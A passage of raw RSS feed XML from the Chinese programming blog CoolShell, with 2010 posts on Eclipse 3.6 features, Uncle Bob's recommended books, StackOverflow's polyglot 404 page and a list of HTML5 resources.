href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2574.html\">如何在低速率网络中测试 Web 应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2574.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>24</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Eclipse 3.6 （Helios）新特性</title>\n\t\t<link>https://coolshell.cn/articles/2554.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2554.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Wed, 07 Jul 2010 00:30:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Eclipse]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2554</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2010年6月23日 Eclipse 3.6 Helios 正式发布，对 Java 程序员来说有哪些新特性值得关注？ 1、检查并报告是否有缺失的 @Overri...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2554.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2554.html\">Eclipse 3.6 （Helios）新特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>2010年6月23日 Eclipse 3.6 Helios 正式发布，对 Java 程序员来说有哪些新特性值得关注？</p>\n<p>1、检查并报告是否有缺失的 @Override 注解，此功能仅对 Java 1.6 版本适用。在以前版本中，当我们为一个方法加上 @Override  注解，但是这个方法实际上并没有过载（override）任何父类的方法时，将会得到警告信息。在新版本中，如果我们忘记为一个过载方法加上 @Override 注解，同样也会得到警告信息。</p>\n<p>2、变量视图中新增了一个列用于显示当前变量类型的实例数（Layout -&gt; Select Column）。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-6.bmp\"><img decoding=\"async\" loading=\"lazy\" width=\"478\" height=\"169\" class=\"alignnone size-full wp-image-2561\" title=\"Eclipse 3.6 - 6\" src=\"https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-6.bmp\" alt=\"\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-6.bmp 478w, https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-6-300x106.bmp 300w\" sizes=\"(max-width: 478px) 100vw, 478px\" /></a></p>\n<p>3、Java 视图中的包名称可以用自定义的规则来显示（Window –&gt; Preferences –&gt; Java –&gt; Appearance）。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-3.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-2558\" title=\"Eclipse 3.6 - 3\" src=\"https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-3-300x157.png\" alt=\"\" width=\"300\" height=\"157\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-3-300x157.png 300w, https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-3.png 477w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a></p>\n<p><span id=\"more-2554\"></span></p>\n<p>4、用户可以选择在关闭 Eclipse 时不清除本地更改历史（local history），这样可以加快关闭的速度，但同时本地更改历史记录将会无限制地增大。</p>\n<p>5、查看实现代码（Open Implementation）。此功能在 Navigate 菜单中能够找到，目前没有缺省的快捷键，用户可以为其自定义一个（Windows –&gt; Preferences –&gt; General –&gt; Keys）。例如，用户可以查看一个抽象方法的具体实现，如果有多个实现， Eclipse 会显示一个弹出窗口。</p>\n<p><a href=\"../wp-content/uploads/2010/07/Eclipse-3.6-2.png\"><img decoding=\"async\" loading=\"lazy\" title=\"Eclipse 3.6 - 2\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-2.png\" alt=\"\" width=\"293\" height=\"184\" /></a></p>\n<p>6、虚拟文件夹（Virtual Folders）。用户可以在 workspace 中创建文件夹，这些文件夹只对 Eclipse 可见，对操作系统不可见。并且它们只能包含其他的虚拟文件夹和外部链接资源。</p>\n<p><a href=\"../wp-content/uploads/2010/07/Eclipse-3.6-4.png\"><img decoding=\"async\" loading=\"lazy\" title=\"Eclipse 3.6 - 4\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-4.png\" alt=\"\" width=\"259\" height=\"192\" /></a></p>\n<p>7、安装配置比较（Compare Configurations）。通过此功能用户可以查看那些组件在哪一时间被安装，还可以选择卸载无用的安装以节省空间。</p>\n<p><a href=\"../wp-content/uploads/2010/07/Eclipse-3.6-5.png\"><img decoding=\"async\" loading=\"lazy\" title=\"Eclipse 3.6 - 5\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-5-300x256.png\" alt=\"\" width=\"300\" height=\"256\" /></a></p>\n<p>8、提供了对 JSF 2.0，Apache Tomcat 7，和 Aapache CXF 的支持，新增了 JAX-RS project facet。</p>\n<p>9、Eclipse 市场客户端（Eclipse Market Place Client）。在以前的版本中安装插件（plugins）一直都不能说是一件简单的事情，用户需要搜索相应的 update site URL。新版本引入了和 Apple 的应用商店类似的概念，用户可以在 Eclipse IDE 内搜索和安装插件了，此功能在 Help 菜单中可以找到。</p>\n<p><a href=\"../wp-content/uploads/2010/07/Eclipse-3.6-1.png\"><img decoding=\"async\" loading=\"lazy\" title=\"Eclipse 3.6 - 1\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-1-300x215.png\" alt=\"\" width=\"300\" height=\"215\" /></a></p>\n<p><em><a href=\"http://www.techsagar.com/2010/07/10-new-features-which-i-liked-the-most-in-eclipse-helios-3-6-2/\">文章来源一</a>，<a href=\"http://rajakannappan.blogspot.com/2010/05/new-features-in-eclipse-36-helios.html\">文章来源二</a></em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2554.html\">Eclipse 3.6 （Helios）新特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2554.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍</title>\n\t\t<link>https://coolshell.cn/articles/2539.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2539.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Mon, 05 Jul 2010 00:30:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[book]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<category><![CDATA[软件开发]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2539</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>数量级25（10^25）是 Uncle Bob 在 RailsConf 演讲的主题。如果你用一台 PDP 8（ 1960年代的计算机）和 Mac PowerBo...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2539.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2539.html\">参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>数量级25（10^25）是 Uncle Bob 在 <a href=\"http://en.oreilly.com/rails2010\">RailsConf</a> 演讲的主题。如果你用一台 PDP 8（ 1960年代的计算机）和 Mac PowerBook 做比较的话，你会发现 Mac PowerBook 比 PDP 8 快8000倍，有6百万倍大的内存，11000倍的耗能，1500倍的容量等等。如果将这些0累加起来，很容易达到10^25。在过去40年里，我们的硬件计算能力获得了10^25倍的提升，而作为软件开发人员的我们并没有利用这些计算能力来提升多少我们的软件开发能力。没错，我们是写了不少的代码，但是它们基本上都是一些顺序语句，if 语句，和 while 循环等，没有什么新鲜的东西。你可能会说面向对象是新东西呀，但是那只是另外一种组织顺序、选择和迭代等语句的方法而已。除我们现有的编程语言之外，如果有新的编程语言能够产生并创造新的“微积分学”，从而将软件开发提高到一个新的高度，将会是一件非常令人期待的事情，因为顺序语句，选择语句和迭代等最终将成为历史。</p>\n<p>Uncle Bob 认为以下四本书是软件开发人员必须阅读的，并由他自己来排名。</p>\n<p>1. The Structure &amp; Interpretation of Computer Programs 计算机程序的构造和解释 （By Harold Abelson &amp; Gerald Sussman）</p>\n<p>书中使用的是 Scheme 语言（Lisp 的一个变种），此书的内容曾经是 MIT 计算机系的一门课程，当然现在已经不是了。</p>\n<p>2. Structured Programming 结构化程序设计 （By Edsger W. Dijkstra）</p>\n<p>相信软件专业的同学们都上过此课程，我们的启蒙书籍。这本书讨论了 go to 是怎样的邪恶，同时也讨论了面向对象。对比一下今天我们视为 best practice 的测试驱动开发（TDD），go to 在过去也曾经是 Fortran，Cobol 等语言的核心。</p>\n<p>3. The Annotated TURING （By Charles Petzold）</p>\n<p>Uncle Bob 令人尴尬地忘记了这本书的名字，他自嘲说自己从来记不住这本书名。但是此书在他的推荐列表中列第三位。</p>\n<p>4. Clean Code （By Robert C. Martin）</p>\n<p>Uncle Bob 本人的大作。</p>\n<p>我的一位同事将这位 Uncle Bob 视为软件开发领域中的上帝，Uncle Bob 这位大师在当下各类编程语言和平台层出不穷的时候，在我们为该学什么语言买什么书举棋不定的时候，推荐给读者这几本经典，也许是煞费苦心地想让我们参透软件开发的本质吧。不过会不会也是因为我们都在慢慢变老，许多旧的东西如今又变成了新鲜有趣的事情啦？（出自采访记者之口）</p>\n<p><a href=\"http://vimeo.com/12957619\"><em>文章来源</em></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"读书笔记：对线程模型的批评\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_title\">读书笔记：对线程模型的批评</a></li><li ><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-150x150.png\" alt=\"编程语言流行度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_title\">编程语言流行度</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li><li ><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" alt=\"一些非常不错的资料\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_title\">一些非常不错的资料</a></li><li ><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution-150x150.jpg\" alt=\"编程语言进化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_title\">编程语言进化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2539.html\">参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2539.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>StackOverflow的404错误页</title>\n\t\t<link>https://coolshell.cn/articles/2529.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2529.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 25 Jun 2010 00:35:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[404]]></category>\n\t\t<category><![CDATA[brainfuck]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Perl]]></category>\n\t\t<category><![CDATA[Polyglot]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<category><![CDATA[StackOverflow]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2529</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>不知道大家有没有注意到StakeOverflow的404错误页面？其显示了下面的这个图片： 这个是一个很有意思的图片，不知道你看懂了吗？看上去像Python，又...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2529.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>不知道大家有没有注意到StakeOverflow的<a href=\"http://stackoverflow.com/404\" target=\"_blank\">404错误页面</a>？其显示了下面的这个图片：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://sstatic.net/stackoverflow/img/polyglot-404.png\" alt=\"\" width=\"500\" /></p>\n<p style=\"text-align: left;\">这个是一个很有意思的图片，不知道你看懂了吗？看上去像Python，又像 Ruby，还像 Perl，当然也有 C的影子，还有<a href=\"https://coolshell.cn/articles/1142.html\" target=\"_blank\">Brainfuck</a>。是的，这是一个杂交程序，杂交了Python，Ruby，Perl，C，还有Brainfuck（注意其中的#号），所有的语句都是输出“404”字符串。</p>\n<p style=\"text-align: left;\">关于这种杂交程序，本站以前也发布过《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1824.html\" target=\"_blank\">C语言和sh脚本的杂交代码</a>》，大家可以前往一看。这样的有趣的玩法叫“<a rel=\"nofollow\" href=\"http://en.wikipedia.org/wiki/Polyglot_%28computing%29\" target=\"_blank\">Polyglot</a>”，也就是说，把N种语言写在一个文件中，然后，该文件在任何编译器下都可以运行，上述的那段代码在Python，Ruby，Perl，Brainfuck下都可以正常运行，也可以被C和的编译器编译通过，并被运行。</p>\n<p style=\"text-align: left;\">下面是这个图片的字符码，以供各位试试。</p>\n<p style=\"text-align: left;\"><span id=\"more-2529\"></span></p>\n<pre><code># define v putchar\n#   define print(x) main(){v(4+v(v(52)-4));return 0;}/*\n#&gt;+++++++4+[&gt;++++++&lt;-]&gt;++++.----.++++.*/\nprint(202*2);exit();\n#define/*&gt;.@*/exit()</code></pre>\n<p style=\"text-align: left;\">欢迎你留下你的看法。</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2529.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>27</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>几个Web的资源</title>\n\t\t<link>https://coolshell.cn/articles/2524.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2524.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 24 Jun 2010 00:35:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Apple]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2524</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>首先一个先给大家介绍一个HTML5的资源网站：http://www.html5rocks.com/ ，在这个网站上，有三个子站： HTML5的幻灯片：http:...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2524.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2524.html\">几个Web的资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>首先一个先给大家介绍一个HTML5的资源网站：<a href=\"http://www.html5rocks.com/\" target=\"_blank\">http://www.html5rocks.com/</a> ，在这个网站上，有三个子站：</p>\n<ol>\n<li>HTML5的幻灯片：<a href=\"http://slides.html5rocks.com/\" target=\"_blank\">http://slides.html5rocks.com/</a>，虽然是英文的，但相信我，这个幻灯片做得很好，你应该能看得懂。</li>\n<li>HTML5的操练场：<a href=\"http://playground.html5rocks.com/\" target=\"_blank\">http://playground.html5rocks.com/</a>，这个页面上有很多HTML5的源码，你可以就直接在上面修改，并查看修改结果。</li>\n<li>HTML5的教程：<a href=\"http://www.html5rocks.com/tutorials/\" target=\"_blank\">http://www.html5rocks.com/tutorials/</a>，这个页上有一些Steps by Steps的教程，很不错。</li>\n</ol>\n<p>第二个，给大家推荐一个Javascript库，叫——<a href=\"http://code.ovidiu.ch/dragdealer/\" target=\"_blank\">DragDealer</a>。这个JS主要是处理Web上的各种拖动效果，脚本很小，在没有压缩的情况下也只有12K，而且没有任何的dependence，使用起来也比较方便。</p>\n<p>第三个，是Apple的Showcase，我们都知道，iPhone不支持flash，但支持HTML5，大家可以点下面这些链接看看Apple公司自己做的HTML5的一些效果。当然，有一些需要safari浏览器。</p>\n<p><span id=\"more-2524\"></span></p>\n<ul>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/showcase/video/\">Video effects</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/showcase/typography/\">Web typography</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/showcase/gallery/\">Web gallery</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/showcase/transitions/\">Photo transitions</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/showcase/audio/\">Audio</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/showcase/threesixty/\">360°</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/showcase/vr/\">VR</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/CanvasPixelManipulation/\">Canvas pixel manipulation</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/StickyNotes/\">Sticky notes</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/ConcertPoster/\">Concert Poster</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/Checkers/\">Checkers</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/LightTable/\">Light table</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/OfflineCalendar/\">Offline calendar</a></li>\n<li><a rel=\"nofollow\" href=\"http://developer.apple.com/safaridemos/MovieTrailers/\">Movie 